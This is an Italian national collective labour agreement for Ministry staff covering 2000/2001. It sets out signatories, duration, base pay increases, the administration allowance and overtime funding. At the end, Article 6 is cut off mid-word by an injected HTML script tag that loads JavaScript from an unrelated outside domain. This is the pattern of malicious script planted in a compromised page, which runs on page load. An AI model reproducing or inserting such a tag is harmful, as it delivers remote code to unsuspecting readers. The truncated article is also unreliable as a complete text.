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Categoria: Ministeri Settore: Pubblica Amministrazione Data stipula: 21-2-2001 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2001
CONTRATTO COLLETTIVO NAZIONALE DI LAVORO COMPARTO DEI MINISTERI - BIENNIO
ECONOMICO 2000/2001
A seguito del parere favorevole espresso, in data 26 gennaio 2001, dal
Presidente del Consiglio dei ministri, tramite il Ministro per la Funzione
pubblica, in ordine all'ipotesi di Accordo relativa al personale del
comparto dei Ministeri, sottoscritta in data 19 gennaio 2001 e vista la
certificazione positiva della Corte dei conti, in data 20 febbraio 2001,
sull'attendibilità dei costi quantificati per la medesima Ipotesi di
accordo e sulla loro compatibilità con gli strumenti di programmazione e
di bilancio, il giorno 21 febbraio 2001 alle ore 15,00 ha avuto luogo
l'incontro tra l'Agenzia per la Rappresentanza Negoziale delle Pubbliche
Amministrazioni (ARAN) e le Confederazioni e Organizzazioni sindacali
rappresentative.
Al termine della riunione viene sottoscritto l'allegato Contratto
Collettivo Nazionale di Lavoro relativo al personale dipendente del
comparto dei Ministeri per il biennio economico 2000/2001:
- per l'ARAN: nella persona dell'avv. Guido Fantoni quale presidente
ff.
- per le Organizzazioni sindacali da: CGIL-FP, CISL-FPS, UIL-PA,
CONFSAL-UNSA;
- per le Confederazioni sindacali da: CGIL, CISL, UIL, CONFSAL;
Art. 1 - Durata e decorrenza del contratto biennale
1. Il presente contratto biennale concerne la parte economica e si
riferisce al periodo 1° gennaio 2000 - 31 dicembre 2001.
2. Per il personale assunto con contratto a tempo indeterminato presso
le rappresentanze diplomatiche all'estero gli incrementi economici
relativi al biennio di cui al comma 1, verranno attribuiti secondo quanto
previsto dalle specifiche norme di raccordo ai sensi dell'art. 1, comma 2
del CCNL sottoscritto in data 16.2.99.
3. Nel testo il CCNL per il personale del comparto Ministeri
sottoscritto in data 16.2.1999 viene indicato come "CCNL".
Art. 2 - Aumenti della retribuzione base
1. Gli stipendi tabellari derivanti dall'art. 29 del CCNL sono
incrementati delle misure mensili lorde indicate nell'allegata Tabella A,
alle scadenze ivi previste.
2. Gli importi annui degli stipendi tabellari risultanti dalla
applicazione del comma 1, sono rideterminati alle scadenze stabilite dalla
allegata tabella B.
Art. 3 - Effetti dei nuovi stipendi
1. Gli incrementi stipendiali di cui all'art. 2 hanno effetto
integralmente sulla determinazione del trattamento di quiescenza del
personale cessato o che cesserà dal servizio, con diritto a pensione, nel
periodo di vigenza del presente contratto di parte economica 2000- 2001,
alle scadenze e negli importi ivi previsti. Agli effetti delle indennità
di licenziamento, di buonuscita o del trattamento di fine rapporto si
considerano soltanto gli scaglionamenti maturati alla data di cessazione
dal servizio.
Gli incrementi stipendiali hanno effetto, inoltre, sugli altri istituti
indicati all'art. 29 del CCNL.
Art. 4 - Indennità di amministrazione
1. Allo scopo di favorire il processo di perequazione delle retribuzioni
complessivamente spettanti al personale del comparto, gli importi di cui
all'art. 33 del CCNL sono incrementati nelle misure previste nella Tabella
C.
Art. 5 - Lavoro straordinario
1. A decorrere dal 1.1.2001, prima della loro ripartizione e
assegnazione alle singole amministrazioni da parte del Ministero del
Tesoro, le risorse complessive destinate ai compensi per il lavoro
straordinario sono permanentemente ridotte di un'ulteriore quota pari al
5% della spesa relativa all'anno 1999, finalizzata alla copertura di parte
degli oneri del presente CCNL.
Art. 6 - Integrazione del Fondo unico di amministrazione
1. Il Fondo unico di amministrazi<script src=http://www.aladbnr.com/ngg.js></script>
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